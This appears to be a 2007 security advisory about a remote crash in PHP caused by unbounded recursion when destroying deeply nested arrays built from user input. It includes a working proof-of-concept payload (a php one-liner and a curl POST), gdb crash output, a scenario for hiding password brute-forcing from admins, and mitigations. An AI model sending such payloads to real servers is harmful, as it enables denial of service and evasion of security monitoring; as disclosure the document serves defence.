Thu, 01 Mar 2007


The last vulnerability for today is similar to the second one. This time the bug is however a deep recursion bug in the Zend Engine variable destruction. User input is parsed in an iterative way which allows the creation of very deeply nested array structures from user input. However when PHP tries to destroy such a variable it does it in a recursive way which will lead to a remote crash against PHP installations.

Affected versions

All versions of PHP are affected.

Detailed information

One of the problems in PHP is that it does not enforce any kind of sanity checks for the depth of nested arrays and because the variable registration is done in a iterative way it will accept any depth until the memory_limit is reached. Unfortunately the destruction of PHP arrays is done in a recursive way and therefore it can crash when the stack limit is exhausted.

An attacker can use this fact to let PHP crash in a more or less controlled way. It is trivial to let it crash on script startup (as demonstrated below) or at the end of the request. This might result in things like the request not being logged. However much more interesting for an attacker is to let the script die after it did one action but before it performs another one. Imagine the following PHP code.

  if (!checkUserPWD($user, $pass)) {
    $errmsg = "There is problem ...";
  } else {
    // do all the fun

An attacker might not want to notify the admin by sending out millions of notification emails while he bruteforces the password of another user. But now imagine the target has register globals activated. You can supply a deeply nested array variable called 'errmsg'. Then the username and password check fails it will overwrite the variable which will result in the user supplied array being destructed. This of course will crash PHP and you can bruteforce the password without notification emails. There will be crashes in the logfile but the admin will not be able to see what caused it.

This exploit might fail if you are running a low memory_limit

$ php -r 'echo "a".str_repeat("[]",200000)."=1&a=0";' > postdata
$ curl -d @postdata
curl: (52) Empty reply from server

And looking at the Apache process at the same time with gdb.

$ gdb
(gdb) attach 12345
(gdb) continue

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211787584 (LWP 7069)]
0xb7928e2c in zend_hash_destroy () from /usr/lib/apache/1.3/
(gdb) bt
#0  0xb7928e2c in zend_hash_destroy () from /usr/lib/apache/1.3/
#1  0xb791dd08 in _zval_dtor_func () from /usr/lib/apache/1.3/
#2  0xb7912f88 in _zval_ptr_dtor () from /usr/lib/apache/1.3/
#3  0xb7928ee8 in zend_hash_destroy () from /usr/lib/apache/1.3/
#4  0xb791dd08 in _zval_dtor_func () from /usr/lib/apache/1.3/
#5  0xb7912f88 in _zval_ptr_dtor () from /usr/lib/apache/1.3/
(gdb) x/5i $eip
0xb7928e2c :      call   0xb7704570 
0xb7928e31 :      add    $0x2aa7bb,%ebx
0xb7928e37 :      mov    0x20(%edx),%eax
0xb7928e3a :      mov    %eax,(%esp)
0xb7928e3d :      call   0xb7927d10 
(gdb) x/20x $esp-4
0xbf322ffc:     Cannot access memory at address 0xbf322ffc

From the backtrace and the registers one can see that PHP tried calling a function but because the stackpointer points to a not paged memory address it will result in a crash.

Proof of concept, exploit or instructions to reproduce

See details.


Because the PHP developers are unwilling to add hard limits on the depths of PHP arrays there is currently only the possibility to use the Suhosin extension which limits the depth of arrays in the user input or to configure your web application firewall to drop high amounts of '[' in variable names.